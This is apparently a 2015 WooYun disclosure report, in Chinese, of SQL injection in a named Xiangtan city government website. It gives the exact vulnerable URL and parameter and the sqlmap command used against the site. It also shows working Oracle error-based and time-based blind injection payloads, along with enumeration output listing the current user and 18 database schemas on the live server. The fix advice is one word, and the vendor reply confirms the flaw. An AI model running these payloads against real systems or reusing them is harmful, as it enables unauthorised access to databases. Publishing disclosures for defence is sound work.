当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090322

漏洞标题:某政府网站存在sql注入漏洞

相关厂商:cncert国家互联网应急中心

漏洞作者: 洞主

提交时间:2015-01-07 11:57

修复时间:2015-02-21 11:58

公开时间:2015-02-21 11:58

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-07: 细节已通知厂商并且等待厂商处理中
2015-01-12: 厂商已经确认,细节仅向厂商公开
2015-01-22: 细节向核心白帽子及相关领域专家公开
2015-02-01: 细节向普通白帽子公开
2015-02-11: 细节向实习白帽子公开
2015-02-21: 细节向公众公开

简要描述:

某政府网站存在sql注入漏洞

详细说明:

http://wh.xiangtan.gov.cn/whj/hudong/szxx_hit.jsp?id=85814
id参数有注入
[root@Hacker~]# Sqlmap -u "http://wh.xiangtan.gov.cn/whj/hudong/szxx_hit.jsp?id=
85814" --dbs --current-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:13:01
[17:13:01] [INFO] resuming back-end DBMS 'oracle'
[17:13:01] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: id=85814 AND 1399=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(109)|
|CHR(116)||CHR(108)||CHR(58)||(SELECT (CASE WHEN (1399=1399) THEN 1 ELSE 0 END)
FROM DUAL)||CHR(58)||CHR(101)||CHR(100)||CHR(98)||CHR(58)||CHR(62))) FROM DUAL)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: id=85814 AND 9697=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(82)||CHR(
112)||CHR(81),5)
---
[17:13:01] [INFO] the back-end DBMS is Oracle
web server operating system: Windows
web application technology: JSP, Apache 2.0.59
back-end DBMS: Oracle
[17:13:01] [INFO] fetching current user
[17:13:01] [INFO] retrieved: XTMH
current user: 'XTMH'
[17:13:01] [INFO] fetching current database
[17:13:02] [INFO] resumed: XTMH
current schema (equivalent to database on Oracle): 'XTMH'
[17:13:02] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[17:13:02] [INFO] fetching database (schema) names
[17:13:02] [INFO] the SQL query used returns 18 entries
[17:13:02] [INFO] retrieved: CTXSYS
[17:13:06] [INFO] retrieved: DBSNMP
[17:13:06] [INFO] retrieved: DMSYS
[17:13:06] [INFO] retrieved: EXFSYS
[17:13:06] [INFO] retrieved: MDSYS
[17:13:07] [INFO] retrieved: OLAPSYS
[17:13:07] [INFO] retrieved: ORDSYS
[17:13:07] [INFO] retrieved: OUTLN
[17:13:08] [INFO] retrieved: SCOTT
[17:13:08] [INFO] retrieved: SYS
[17:13:08] [INFO] retrieved: SYSMAN
[17:13:09] [INFO] retrieved: SYSTEM
[17:13:09] [INFO] retrieved: TEST
[17:13:10] [INFO] retrieved: TSMSYS
[17:13:10] [INFO] retrieved: WMSYS
[17:13:10] [INFO] retrieved: XDB
[17:13:11] [INFO] retrieved: XTMH
[17:13:11] [INFO] retrieved: XTNJ
available databases [18]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TEST
[*] TSMSYS
[*] WMSYS
[*] XDB
[*] XTMH
[*] XTNJ
[17:13:11] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 20 times
[17:13:11] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[17:13:11] [INFO] fetched data logged to text files under 'D:\PROGRA~1\???~1\???
~1.COM\TOOls\????\SQLMAP~1\Bin\output\wh.xiangtan.gov.cn'

漏洞证明:

已证明

修复方案:

过滤吧

版权声明:转载请注明来源 洞主@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-12 10:51

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给湖南分中心,由湖南分中心后续协调网站管理单位处置。

最新状态:

暂无